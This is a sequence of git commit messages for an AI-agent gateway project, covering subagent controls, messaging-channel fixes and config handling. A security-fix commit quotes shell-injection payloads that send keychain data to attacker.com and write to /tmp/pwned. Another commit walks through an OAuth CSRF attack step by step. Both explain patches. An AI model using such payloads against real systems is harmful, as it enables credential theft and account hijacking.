Addresses Greptile review feedback: locks in behavior when an agent
has skills: [] (explicit empty list), ensuring skillFilter: [] is
forwarded to buildWorkspaceSkillSnapshot to filter out all skills.
Isolated cron sessions called buildWorkspaceSkillSnapshot without
the skillFilter parameter, causing all skills to be included even
when an agent had a restricted skills list via agents.list[].skills.
Resolves the filter using resolveAgentSkillsFilter and passes it
through, aligning isolated cron with main session behavior.
Fixes#10804
- Display session labels in the session selector
- Cap selector width to 300px
- Standardize key prefixes and fallback names for subagent and cron job sessions
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Agents: mark missing tool params as non-retryable
* Agents: include all missing required params in tool errors
* Agents: change required-param errors to retry guidance
* Docs: align changelog text for issue #14729 guidance wording
* feat(image-tool): support multiple images in a single tool call
- Change 'image' parameter to accept string | string[] (Type.Union)
- Add 'maxImages' parameter (default 5) to cap abuse/token explosion
- Update buildImageContext to create multiple image content parts
- Normalize single string input to array for unified processing
- Keep full backward compatibility: single string works as before
- Update tool descriptions for both vision and non-vision models
- MiniMax VLM falls back to first image (single-image API)
- Details output adapts: 'image' key for single, 'images' for multi
* bump default max images from 5 to 20
* fix(discord): role-based allowlist never matches because Carbon Role objects stringify to mentions
Carbon's GuildMember.roles getter returns Role[] objects, not raw ID strings.
String(Role) produces '<@&123456>' which never matches the plain role IDs
in the guild allowlist config.
Use data.rawMember.roles (raw Discord API string array) instead of
data.member.roles (Carbon Role[] objects) for role ID extraction.
Fixes#16207
* Docs: add discord role allowlist changelog entry
---------
Co-authored-by: Shadow <hi@shadowing.dev>
Verified:
- pnpm build
- pnpm check (fails on current main with unrelated type errors in src/memory/embedding-manager.test-harness.ts)
- pnpm test:macmini (not run after pnpm check failure)
- pnpm test -- src/gateway/server-methods/send.test.ts
Co-authored-by: rodrigouroz <165576107+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Move hasAudio detection before bodyText building
- Move preflight transcription before bodyText building
- If audio has transcript, use transcript as bodyText
- Otherwise use <media:audio> placeholder
Fixes#16772: Telegram voice messages leak raw audio binary into chat context
Co-authored-by: Limitless2023 <limitless@users.noreply.github.com>
* Agents: add subagent orchestration controls
* Agents: add subagent orchestration controls (WIP uncommitted changes)
* feat(subagents): add depth-based spawn gating for sub-sub-agents
* feat(subagents): tool policy, registry, and announce chain for nested agents
* feat(subagents): system prompt, docs, changelog for nested sub-agents
* fix(subagents): prevent model fallback override, show model during active runs, and block context overflow fallback
Bug 1: When a session has an explicit model override (e.g., gpt/openai-codex),
the fallback candidate logic in resolveFallbackCandidates silently appended the
global primary model (opus) as a backstop. On reinjection/steer with a transient
error, the session could fall back to opus which has a smaller context window
and crash. Fix: when storedModelOverride is set, pass fallbacksOverride ?? []
instead of undefined, preventing the implicit primary backstop.
Bug 2: Active subagents showed 'model n/a' in /subagents list because
resolveModelDisplay only read entry.model/modelProvider (populated after run
completes). Fix: fall back to modelOverride/providerOverride fields which are
populated at spawn time via sessions.patch.
Bug 3: Context overflow errors (prompt too long, context_length_exceeded) could
theoretically escape runEmbeddedPiAgent and be treated as failover candidates
in runWithModelFallback, causing a switch to a model with a smaller context
window. Fix: in runWithModelFallback, detect context overflow errors via
isLikelyContextOverflowError and rethrow them immediately instead of trying the
next model candidate.
* fix(subagents): track spawn depth in session store and fix announce routing for nested agents
* Fix compaction status tracking and dedupe overflow compaction triggers
* fix(subagents): enforce depth block via session store and implement cascade kill
* fix: inject group chat context into system prompt
* fix(subagents): always write model to session store at spawn time
* Preserve spawnDepth when agent handler rewrites session entry
* fix(subagents): suppress announce on steer-restart
* fix(subagents): fallback spawned session model to runtime default
* fix(subagents): enforce spawn depth when caller key resolves by sessionId
* feat(subagents): implement active-first ordering for numeric targets and enhance task display
- Added a test to verify that subagents with numeric targets follow an active-first list ordering.
- Updated `resolveSubagentTarget` to sort subagent runs based on active status and recent activity.
- Enhanced task display in command responses to prevent truncation of long task descriptions.
- Introduced new utility functions for compacting task text and managing subagent run states.
* fix(subagents): show model for active runs via run record fallback
When the spawned model matches the agent's default model, the session
store's override fields are intentionally cleared (isDefault: true).
The model/modelProvider fields are only populated after the run
completes. This left active subagents showing 'model n/a'.
Fix: store the resolved model on SubagentRunRecord at registration
time, and use it as a fallback in both display paths (subagents tool
and /subagents command) when the session store entry has no model info.
Changes:
- SubagentRunRecord: add optional model field
- registerSubagentRun: accept and persist model param
- sessions-spawn-tool: pass resolvedModel to registerSubagentRun
- subagents-tool: pass run record model as fallback to resolveModelDisplay
- commands-subagents: pass run record model as fallback to resolveModelDisplay
* feat(chat): implement session key resolution and reset on sidebar navigation
- Added functions to resolve the main session key and reset chat state when switching sessions from the sidebar.
- Updated the `renderTab` function to handle session key changes when navigating to the chat tab.
- Introduced a test to verify that the session resets to "main" when opening chat from the sidebar navigation.
* fix: subagent timeout=0 passthrough and fallback prompt duplication
Bug 1: runTimeoutSeconds=0 now means 'no timeout' instead of applying 600s default
- sessions-spawn-tool: default to undefined (not 0) when neither timeout param
is provided; use != null check so explicit 0 passes through to gateway
- agent.ts: accept 0 as valid timeout (resolveAgentTimeoutMs already handles
0 → MAX_SAFE_TIMEOUT_MS)
Bug 2: model fallback no longer re-injects the original prompt as a duplicate
- agent.ts: track fallback attempt index; on retries use a short continuation
message instead of the full original prompt since the session file already
contains it from the first attempt
- Also skip re-sending images on fallback retries (already in session)
* feat(subagents): truncate long task descriptions in subagents command output
- Introduced a new utility function to format task previews, limiting their length to improve readability.
- Updated the command handler to use the new formatting function, ensuring task descriptions are truncated appropriately.
- Adjusted related tests to verify that long task descriptions are now truncated in the output.
* refactor(subagents): update subagent registry path resolution and improve command output formatting
- Replaced direct import of STATE_DIR with a utility function to resolve the state directory dynamically.
- Enhanced the formatting of command output for active and recent subagents, adding separators for better readability.
- Updated related tests to reflect changes in command output structure.
* fix(subagent): default sessions_spawn to no timeout when runTimeoutSeconds omitted
The previous fix (75a791106) correctly handled the case where
runTimeoutSeconds was explicitly set to 0 ("no timeout"). However,
when models omit the parameter entirely (which is common since the
schema marks it as optional), runTimeoutSeconds resolved to undefined.
undefined flowed through the chain as:
sessions_spawn → timeout: undefined (since undefined != null is false)
→ gateway agent handler → agentCommand opts.timeout: undefined
→ resolveAgentTimeoutMs({ overrideSeconds: undefined })
→ DEFAULT_AGENT_TIMEOUT_SECONDS (600s = 10 minutes)
This caused subagents to be killed at exactly 10 minutes even though
the user's intent (via TOOLS.md) was for subagents to run without a
timeout.
Fix: default runTimeoutSeconds to 0 (no timeout) when neither
runTimeoutSeconds nor timeoutSeconds is provided by the caller.
Subagent spawns are long-running by design and should not inherit the
600s agent-command default timeout.
* fix(subagent): accept timeout=0 in agent-via-gateway path (second 600s default)
* fix: thread timeout override through getReplyFromConfig dispatch path
getReplyFromConfig called resolveAgentTimeoutMs({ cfg }) with no override,
always falling back to the config default (600s). Add timeoutOverrideSeconds
to GetReplyOptions and pass it through as overrideSeconds so callers of the
dispatch chain can specify a custom timeout (0 = no timeout).
This complements the existing timeout threading in agentCommand and the
cron isolated-agent runner, which already pass overrideSeconds correctly.
* feat(model-fallback): normalize OpenAI Codex model references and enhance fallback handling
- Added normalization for OpenAI Codex model references, specifically converting "gpt-5.3-codex" to "openai-codex" before execution.
- Updated the `resolveFallbackCandidates` function to utilize the new normalization logic.
- Enhanced tests to verify the correct behavior of model normalization and fallback mechanisms.
- Introduced a new test case to ensure that the normalization process works as expected for various input formats.
* feat(tests): add unit tests for steer failure behavior in openclaw-tools
- Introduced a new test file to validate the behavior of subagents when steer replacement dispatch fails.
- Implemented tests to ensure that the announce behavior is restored correctly and that the suppression reason is cleared as expected.
- Enhanced the subagent registry with a new function to clear steer restart suppression.
- Updated related components to support the new test scenarios.
* fix(subagents): replace stop command with kill in slash commands and documentation
- Updated the `/subagents` command to replace `stop` with `kill` for consistency in controlling sub-agent runs.
- Modified related documentation to reflect the change in command usage.
- Removed legacy timeoutSeconds references from the sessions-spawn-tool schema and tests to streamline timeout handling.
- Enhanced tests to ensure correct behavior of the updated commands and their interactions.
* feat(tests): add unit tests for readLatestAssistantReply function
- Introduced a new test file for the `readLatestAssistantReply` function to validate its behavior with various message scenarios.
- Implemented tests to ensure the function correctly retrieves the latest assistant message and handles cases where the latest message has no text.
- Mocked the gateway call to simulate different message histories for comprehensive testing.
* feat(tests): enhance subagent kill-all cascade tests and announce formatting
- Added a new test to verify that the `kill-all` command cascades through ended parents to active descendants in subagents.
- Updated the subagent announce formatting tests to reflect changes in message structure, including the replacement of "Findings:" with "Result:" and the addition of new expectations for message content.
- Improved the handling of long findings and stats in the announce formatting logic to ensure concise output.
- Refactored related functions to enhance clarity and maintainability in the subagent registry and tools.
* refactor(subagent): update announce formatting and remove unused constants
- Modified the subagent announce formatting to replace "Findings:" with "Result:" and adjusted related expectations in tests.
- Removed constants for maximum announce findings characters and summary words, simplifying the announcement logic.
- Updated the handling of findings to retain full content instead of truncating, ensuring more informative outputs.
- Cleaned up unused imports in the commands-subagents file to enhance code clarity.
* feat(tests): enhance billing error handling in user-facing text
- Added tests to ensure that normal text mentioning billing plans is not rewritten, preserving user context.
- Updated the `isBillingErrorMessage` and `sanitizeUserFacingText` functions to improve handling of billing-related messages.
- Introduced new test cases for various scenarios involving billing messages to ensure accurate processing and output.
- Enhanced the subagent announce flow to correctly manage active descendant runs, preventing premature announcements.
* feat(subagent): enhance workflow guidance and auto-announcement clarity
- Added a new guideline in the subagent system prompt to emphasize trust in push-based completion, discouraging busy polling for status updates.
- Updated documentation to clarify that sub-agents will automatically announce their results, improving user understanding of the workflow.
- Enhanced tests to verify the new guidance on avoiding polling loops and to ensure the accuracy of the updated prompts.
* fix(cron): avoid announcing interim subagent spawn acks
* chore: clean post-rebase imports
* fix(cron): fall back to child replies when parent stays interim
* fix(subagents): make active-run guidance advisory
* fix(subagents): update announce flow to handle active descendants and enhance test coverage
- Modified the announce flow to defer announcements when active descendant runs are present, ensuring accurate status reporting.
- Updated tests to verify the new behavior, including scenarios where no fallback requester is available and ensuring proper handling of finished subagents.
- Enhanced the announce formatting to include an `expectFinal` flag for better clarity in the announcement process.
* fix(subagents): enhance announce flow and formatting for user updates
- Updated the announce flow to provide clearer instructions for user updates based on active subagent runs and requester context.
- Refactored the announcement logic to improve clarity and ensure internal context remains private.
- Enhanced tests to verify the new message expectations and formatting, including updated prompts for user-facing updates.
- Introduced a new function to build reply instructions based on session context, improving the overall announcement process.
* fix: resolve prep blockers and changelog placement (#14447) (thanks @tyler6204)
* fix: restore cron delivery-plan import after rebase (#14447) (thanks @tyler6204)
* fix: resolve test failures from rebase conflicts (#14447) (thanks @tyler6204)
* fix: apply formatting after rebase (#14447) (thanks @tyler6204)
`openclaw nodes run` always timed out after 35s with "gateway timeout
after 35000ms" even though `openclaw nodes invoke system.run` worked
instantly on the same node.
Root cause: the CLI's default --timeout of 35s was used as the WebSocket
transport timeout for exec.approval.request, but the gateway-side
handler waits up to 120s for user approval — so the transport was always
killed 85s too early.
Fix: override opts.timeout for the approval call to
Math.max(parseTimeoutMs(opts.timeout) ?? 0, approvalTimeoutMs + 10_000)
(130s by default), ensuring the transport outlasts the approval wait
while still honoring any larger user-supplied --timeout.
LINE Platform sends POST {"events":[]} without an X-Line-Signature
header when the user clicks 'Verify' in the LINE Developers Console.
Both webhook.ts and monitor.ts rejected this with 400 'Missing
X-Line-Signature header', causing verification to fail.
Now detect the verification pattern (no signature + empty events array)
and return 200 OK immediately, while still requiring valid signatures
for all real webhook deliveries with non-empty events.
Fixes#16425
The base image (Dockerfile.sandbox) sets USER sandbox at the end, so
when sandbox-common-setup.sh builds FROM it, apt-get runs as the
unprivileged sandbox user and fails with 'Permission denied'.
Add USER root before apt-get/npm/curl install steps, and restore
USER sandbox at the end to preserve the non-root runtime default.
Fixes#16420
Watch SKILL.md only (and one-level SKILL.md in skill roots) to prevent chokidar from tracking huge unrelated trees.
Co-authored-by: household-bard <shakespeare@hessianinformatics.com>
* fix(bluebubbles): include sender identity in group chat envelopes
Use formatInboundEnvelope (matching iMessage/Signal pattern) so group
messages show the group label in the envelope header and include the
sender name in the message body. ConversationLabel now resolves to the
group name for groups instead of being undefined.
Fixes#16210
Co-authored-by: zerone0x <hi@trine.dev>
* fix(bluebubbles): use finalizeInboundContext and set BodyForAgent to raw text
Wrap ctxPayload with finalizeInboundContext (matching iMessage/Signal/
every other channel) so field normalization, ChatType, ConversationLabel
fallback, and MediaType alignment are applied consistently.
Change BodyForAgent from the envelope-formatted body to rawBody so the
agent prompt receives clean message text instead of the [BlueBubbles ...]
envelope wrapper.
Co-authored-by: zerone0x <hi@trine.dev>
* docs: add changelog entry for BlueBubbles group sender fix (#16326)
* fix(bluebubbles): include id in fromLabel matching formatInboundFromLabel
Align fromLabel output with the shared formatInboundFromLabel pattern:
groups get 'GroupName id:peerId', DMs get 'Name id:senderId' when the
name differs from the id. Addresses PR review feedback.
Co-authored-by: zerone0x <hi@trine.dev>
---------
Co-authored-by: zerone0x <hi@trine.dev>
The webchat channel sent NO_REPLY as visible text to clients instead
of suppressing it. Other channels (Telegram, Discord) already filter
this token via the reply dispatcher, but the webchat streaming path
bypassed this check.
Fixes#16269
* feat(podman): add optional Podman setup and documentation
- Introduced `setup-podman.sh` for one-time host setup of OpenClaw in a rootless Podman environment, including user creation, image building, and launch script installation.
- Added `run-openclaw-podman.sh` for running the OpenClaw gateway as a Podman container.
- Created `openclaw.podman.env` for environment variable configuration.
- Updated documentation to include Podman installation instructions and a new dedicated Podman guide.
- Added a systemd Quadlet unit for managing the OpenClaw service as a user service.
* fix: harden Podman setup and docs (#16273) (thanks @DarwinsBuddy)
* style: format cli credentials
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(discord): defer component interactions to prevent timeout
Discord requires interaction responses within 3 seconds. Button clicks
were routed through the LLM pipeline before responding, exceeding this
window and showing 'This interaction failed' to users.
Now immediately defers the interaction, then processes the agent
response asynchronously.
Fixes#16262
* fix: harden deferred interaction replies and silent chat finals (#16287) (thanks @robbyczgw-cla)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).
## Vulnerable Code
The previous implementation built a shell command via string
interpolation with single-quote escaping:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)
The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.
## Attack Vector
User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`
These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.
## Fix
execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])
This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
* fix: Signal and markdown formatting improvements
Markdown IR fixes:
- Fix list-paragraph spacing (extra newline between list items and following paragraphs)
- Fix nested list indentation and newline handling
- Fix blockquote_close emitting redundant newline (inner content handles spacing)
- Render horizontal rules as visible ─── separator instead of silent drop
- Strip inner cell styles in code-mode tables to prevent overlapping with code_block span
Signal formatting fixes:
- Normalize URLs for dedup comparison (strip protocol, www., trailing slash)
- Render headings as bold text (headingStyle: 'bold')
- Add '> ' prefix to blockquotes for visual distinction
- Re-chunk after link expansion to respect chunk size limits
Tests:
- 51 new tests for markdown IR (spacing, lists, blockquotes, tables, HR)
- 18 new tests for Signal formatting (URL dedup, headings, blockquotes, HR, chunking)
- Update Slack nested list test expectation to match corrected IR output
* refactor: style-aware Signal text chunker
Replace indexOf-based chunk position tracking with deterministic
cursor tracking. The new splitSignalFormattedText:
- Splits at whitespace/newline boundaries within the limit
- Avoids breaking inside parentheses (preserves expanded link URLs)
- Slices style ranges at chunk boundaries with correct local offsets
- Tracks position via offset arithmetic instead of fragile indexOf
Removes dependency on chunkText from auto-reply/chunk.
Tests: 19 new tests covering style preservation across chunk boundaries,
edge cases (empty text, under limit, exact split points), and integration
with link expansion.
* fix: correct Signal style offsets with multiple link expansions
applyInsertionsToStyles() was using original coordinates for each
insertion without tracking cumulative shift from prior insertions.
This caused bold/italic/etc styles to drift to wrong text positions
when multiple markdown links expanded in a single message.
Added cumulative shift tracking and a regression test.
* test: clean up test noise and fix ineffective assertions
- Remove console.log from ir.list-spacing and ir.hr-spacing tests
- Fix ir.nested-lists.test.ts: remove ineffective regex assertion
- Fix ir.hr-spacing.test.ts: add actual assertions to edge case test
* refactor: split Signal formatting tests (#9781) (thanks @heyhudson)
---------
Co-authored-by: Hudson <258693705+hudson-rivera@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: strip leading whitespace from sanitizeUserFacingText output
LLM responses frequently begin with \n\n, which survives through
sanitizeUserFacingText and reaches the channel as visible blank lines.
Root cause: the function used trimmed text for empty-checks but returned
the untrimmed 'stripped' variable. Two one-line fixes:
1. Return empty string (not whitespace-only 'stripped') for blank input
2. Apply trimStart() to the final return value
Fixes the same issue as #8052 and #10612 but at the root cause
(sanitizeUserFacingText) rather than scattering trimStart across
multiple delivery paths.
* Changelog: note sanitizeUserFacingText whitespace normalization
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(security): validate OAuth state parameter to prevent CSRF attacks (OC-25)
The parseOAuthCallbackInput() function in the Chutes OAuth flow had two
critical bugs that completely defeated CSRF state validation:
1. State extracted from callback URL was never compared against the
expected cryptographic nonce, allowing attacker-controlled state values
2. When URL parsing failed (bare authorization code input), the catch block
fabricated a matching state using expectedState, making the caller's
CSRF check always pass
## Attack Flow
1. Victim runs `openclaw login chutes --manual`
2. System generates cryptographic state: randomBytes(16).toString("hex")
3. Browser opens: https://api.chutes.ai/idp/authorize?state=abc123...
4. Attacker obtains their OWN OAuth authorization code (out of band)
5. Attacker tricks victim into pasting just "EVIL_CODE" (not full URL)
6. parseOAuthCallbackInput("EVIL_CODE", "abc123...") is called
7. new URL("EVIL_CODE") throws → catch block executes
8. catch returns { code: "EVIL_CODE", state: "abc123..." } ← FABRICATED
9. Caller checks: parsed.state !== state → "abc123..." !== "abc123..." → FALSE
10. CSRF check passes! System calls exchangeChutesCodeForTokens()
11. Attacker's code exchanged for access + refresh tokens
12. Victim's account linked to attacker's OAuth session
Fix:
- Add explicit state validation against expectedState before returning
- Remove state fabrication from catch block; always return error for
non-URL input
- Add comprehensive unit tests for state validation
Remediated by Aether AI Agent security analysis.
* fix(security): harden chutes manual oauth state check (#16058) (thanks @aether-ai-agent)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* feat(sandbox): add separate browser.binds config for browser containers
Allow configuring bind mounts independently for browser containers via
sandbox.browser.binds. When set, browser containers use browser-specific
binds instead of inheriting docker.binds. Falls back to docker.binds
when browser.binds is not configured for backwards compatibility.
Closes#14614
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(sandbox): honor empty browser binds override (#16230) (thanks @seheepeak)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
When the same plugin directory is discovered through different path
representations (e.g. symlinks), the manifest registry incorrectly
warns about a duplicate plugin id. This is a false positive that
appears for bundled extensions like feishu (#16208).
Compare fs.realpathSync() of both candidates' rootDir before emitting
the duplicate warning. If they resolve to the same physical directory,
silently skip the duplicate instead of warning.
Also change seenIds from Set<string> to Map<string, PluginCandidate>
to track the first-seen candidate for comparison.
Closes#16208
Ollama's OpenAI-compatible endpoint handles reasoning natively via the
`reasoning` field in streaming chunks. Treating Ollama as a
reasoning-tag provider incorrectly forces <think>/<final> tag
enforcement, which causes stripBlockTags() to discard all output
(since Ollama models don't emit <final> tags), resulting in
'(no output)' for every Ollama model.
This fix removes 'ollama' from the isReasoningTagProvider() check,
allowing Ollama models to work correctly through the standard
content/reasoning field separation.
* fix(slack): download all files in multi-image messages
resolveSlackMedia() previously returned after downloading the first
file, causing multi-image Slack messages to lose all but the first
attachment. This changes the function to collect all successfully
downloaded files into an array, matching the pattern already used by
Telegram, Line, Discord, and iMessage adapters.
The prepare handler now populates MediaPaths, MediaUrls, and
MediaTypes arrays so downstream media processing (vision, sandbox
staging, media notes) works correctly with multiple attachments.
Fixes#11892, #7536
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(slack): preserve MediaTypes index alignment with MediaPaths/MediaUrls
The filter(Boolean) on MediaTypes removed entries with undefined contentType,
shrinking the array and breaking index correlation with MediaPaths and MediaUrls.
Downstream code (media-note.ts, attachments.ts) requires these arrays to have
equal lengths for correct per-attachment MIME type lookup. Replace filter(Boolean)
with a nullish coalescing fallback to "application/octet-stream".
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(slack): align MediaType fallback and tests (#15447) (thanks @CommanderCrowCode)
* fix: unblock plugin-sdk account-id typing (#15447)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
- Add 'minimax-api-key-cn' auth choice for Chinese users
- Reuse existing --minimax-api-key CLI option
- Use MINIMAX_CN_API_BASE_URL (https://api.minimaxi.com/anthropic)
- Similar to how moonshot supports moonshot-api-key-cn
Tested: build ✅, check ✅, test ✅
- src/channels/dock.ts: core channel dock fallback
- src/auto-reply/reply/reply-routing.test.ts: test expectation
- docs/zh-CN/channels/telegram.md: Chinese docs reference
Comprehensive grep confirms no remaining Telegram-specific "first"
defaults after this commit.
In 2026.2.13, the combination of implicit reply threading (#14976) and
the existing Telegram default replyToMode="first" causes every bot
response in DMs to be sent as a native Telegram reply (quoted message
bubble), even for simple exchanges like "Hi" → "Hey".
This is a UX regression: prior to 2026.2.13, reply threading was less
consistent so the "first" default rarely produced visible quote bubbles
in DMs. Now that implicit threading works reliably, the default
effectively means every first message in a response gets quoted —
which feels noisy and unexpected in 1:1 conversations.
Changing the default to "off" restores the pre-2026.2.13 DM experience.
Users who want reply threading can still opt in via config:
channels.telegram.replyToMode: "first" | "all"
Tested by toggling replyToMode on a live 2026.2.13 instance:
- replyToMode="first" → every response quotes the user message
- replyToMode="off" → clean responses without quote bubbles
No test changes needed: existing tests explicitly set replyToMode
rather than relying on the default.
Add support for NVIDIA's API (https://integrate.api.nvidia.com/v1) with three models:
- nvidia/llama-3.1-nemotron-70b-instruct (default)
- nvidia/llama-3.3-70b-instruct
- nvidia/mistral-nemo-minitron-8b-8k-instruct
Users can configure via NVIDIA_API_KEY environment variable or auth profiles.
Co-authored-by: thesomewhatyou <162917831+thesomewhatyou@users.noreply.github.com>
Switch default local embedding model from embeddinggemma-300M to
embeddinggemma-300m-qat (Quantization Aware Training). QAT models are
trained with quantization in mind, yielding better embedding quality
at the same size (Q8_0).
* fix(mattermost): add WebSocket reconnection with exponential backoff
Fixes#13980
The Mattermost WebSocket monitor had no error handling around the
reconnection loop. When connectOnce() threw (e.g. 'fetch failed' from
network issues), the error propagated through the while loop, causing
the gateway to log 'channel exited' and never restart.
Extract runWithReconnect() utility that:
- Catches thrown errors from connectFn and retries
- Uses exponential backoff (2s→4s→8s→...→60s cap)
- Resets backoff after successful connections
- Stops cleanly on abort signal
- Reports errors and reconnect delays via callbacks
* fix(mattermost): make backoff sleep abort-aware and reject on WS connect failure
* fix(mattermost): clean up abort listener on normal timeout to prevent leak
* fix(mattermost): skip error reporting when abort causes connection rejection
* fix(mattermost): use try/finally for abort listener cleanup in connectOnce
* fix: force-close WebSocket on error to prevent reconnect hang
* fix: use ws.terminate() on abort for reliable teardown during CONNECTING state
* fix(mattermost): use initial retry delay for reconnect backoff
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(media): recognize MP3 and M4A as voice-compatible audio
Telegram sendVoice supports OGG/Opus, MP3, and M4A, but
isVoiceCompatibleAudio only recognized OGG/Opus formats.
- Add MP3 and M4A extensions and MIME types
- Use explicit MIME set instead of substring matching
- Handle MIME parameters (e.g. 'audio/ogg; codecs=opus')
- Add test coverage for all supported and unsupported formats
* fix: narrow MIME allowlist per review feedback
Remove audio/mp4 and audio/aac from voice MIME types — too broad.
Keep only M4A-specific types (audio/x-m4a, audio/m4a).
Add audio/mp4 and audio/aac as negative test cases.
* fix: align voice compatibility and channel coverage (#15438) (thanks @azade-c)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(venice): disable streaming to prevent SDK crash with usage-only chunks (#15819)
Venice.ai API returns SSE chunks containing only usage metadata without
a choices array. The SDK crashes trying to access choices[0] on these
chunks with: Cannot read properties of undefined (reading '0')
Changes:
- Disable streaming by default for all Venice models
- Apply to both static catalog and dynamically discovered models
- Users can explicitly enable streaming in config if needed
This is a workaround until the SDK handles Venice's streaming format.
Fixes#15819
* fix(venice): avoid usage streaming chunks for Venice models (openclaw#15878) thanks @Shuai-DaiDai
---------
Co-authored-by: 帅小呆1号 <shuaixiaodai1@openclaw.ai>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: preserve ${VAR} env var references when writing config back to disk
Fixes#11466
When config is loaded, ${VAR} references are resolved to their plaintext
values. Previously, writeConfigFile would serialize the resolved values,
silently replacing "${ANTHROPIC_API_KEY}" with "sk-ant-api03-..." in the
config file.
Now writeConfigFile reads the current file pre-substitution, and for each
value that matches what a ${VAR} reference would resolve to, restores the
original reference. Values the caller intentionally changed are kept as-is.
This fixes all 50+ writeConfigFile call sites (doctor, configure wizard,
gateway config.set/apply/patch, plugins, hooks, etc.) without requiring
any caller changes.
New files:
- src/config/env-preserve.ts — restoreEnvVarRefs() utility
- src/config/env-preserve.test.ts — 11 unit tests
* fix: remove global config env snapshot race
* docs(changelog): note config env snapshot race fix
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: enforce Telegram 100-command limit with warning (#5787)
Telegram's setMyCommands API rejects requests with more than 100 commands.
When skills + custom + plugin commands exceed the limit, truncate to 100
and warn the user instead of silently failing on every startup.
* fix: enforce Telegram menu cap + keep hidden commands callable (#15844) (thanks @battman21)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(telegram): auto-wrap file references with TLD extensions to prevent URL previews
Telegram's auto-linker aggressively treats filenames like HEARTBEAT.md,
README.md, main.go, script.py as URLs and generates domain registrar previews.
This fix adds comprehensive protection for file extensions that share TLDs:
- High priority: .md, .go, .py, .pl, .ai, .sh
- Medium priority: .io, .tv, .fm, .am, .at, .be, .cc, .co
Implementation:
- Added wrapFileReferencesInHtml() in format.ts
- Runs AFTER markdown→HTML conversion
- Tokenizes HTML to respect tag boundaries
- Skips content inside <code>, <pre>, <a> tags (no nesting issues)
- Applied to all rendering paths: renderTelegramHtmlText, markdownToTelegramHtml,
markdownToTelegramChunks, and delivery.ts fallback
Addresses review comments:
- P1: Now handles chunked rendering paths correctly
- P2: No longer wraps inside existing code blocks (token-based parsing)
- No lookbehinds used (broad Node compatibility)
Includes comprehensive test suite in format.wrap-md.test.ts
AI-assisted: true
* fix(telegram): prevent URL previews for file refs with TLD extensions
Two layers were causing spurious link previews for file references like
`README.md`, `backup.sh`, `main.go`:
1. **markdown-it linkify** converts `README.md` to
`<a href="http://README.md">README.md</a>` (.md = Moldova TLD)
2. **Telegram auto-linker** treats remaining bare text as URLs
## Changes
### Primary fix: suppress auto-linkified file refs in buildTelegramLink
- Added `isAutoLinkedFileRef()` helper that detects when linkify auto-
generated a link from a bare filename (href = "http://" + label)
- Rejects paths with domain-like segments (dots in non-final path parts)
- Modified `buildTelegramLink()` to return null for these, so file refs
stay as plain text and get wrapped in `<code>` by the wrapper
### Safety-net: de-linkify in wrapFileReferencesInHtml
- Added pre-pass that catches auto-linkified anchors in pre-rendered HTML
- Handles edge cases where HTML is passed directly (textMode: "html")
- Reuses `isAutoLinkedFileRef()` logic — no duplication
### Bug fixes discovered during review
- **Fixed `isClosing` bug (line 169)**: the check `match[1] === "/"`
was wrong — the regex `(<\/?)}` captures `<` or `</`, so closing
tags were never detected. Changed to `match[1] === "</"`. This was
causing `inCode/inPre/inAnchor` to stay stuck at true after any
opening tag, breaking file ref wrapping after closing tags.
- **Removed double `wrapFileReferencesInHtml` call**: `renderTelegramHtmlText`
was calling `markdownToTelegramHtml` (which wraps) then wrapping again.
### Test coverage (+12 tests, 26 total)
- `.sh` filenames (original issue #6932 mentioned backup.sh)
- Auto-linkified anchor replacement
- Auto-linkified path anchor replacement
- Explicit link preservation (different label)
- File ref after closing anchor tag (exercises isClosing fix)
- Multiple file types in single message
- Real URL preservation
- Explicit markdown link preservation
- File ref after real URL in same message
- Chunked output file ref wrapping
Closes#6932
* test(telegram): add comprehensive edge case coverage for file ref wrapping
Add 16 edge case tests covering:
- File refs inside bold/italic tags
- Fenced code blocks (no double-wrap)
- Domain-like paths preserved as links (example.com/README.md)
- GitHub URLs with file paths
- wrapFileRefs: false behavior
- All TLD extensions (.ai, .io, .tv, .fm)
- Non-TLD extensions not wrapped (.png, .css, .js)
- File ref position (start, end, multiple in sequence)
- Nested paths without domain segments
- Version-like paths (v1.0/README.md wraps, example.com/v1.0/README.md links)
- Hyphens and underscores in filenames
- Uppercase extensions
* fix(telegram): use regex literal and depth counters for tag tracking
Code review fixes:
1. Replace RegExp constructor with regex literal for autoLinkedAnchor
- Avoids double-escaping issues with \s
- Uses backreference \1 to match href=label pattern directly
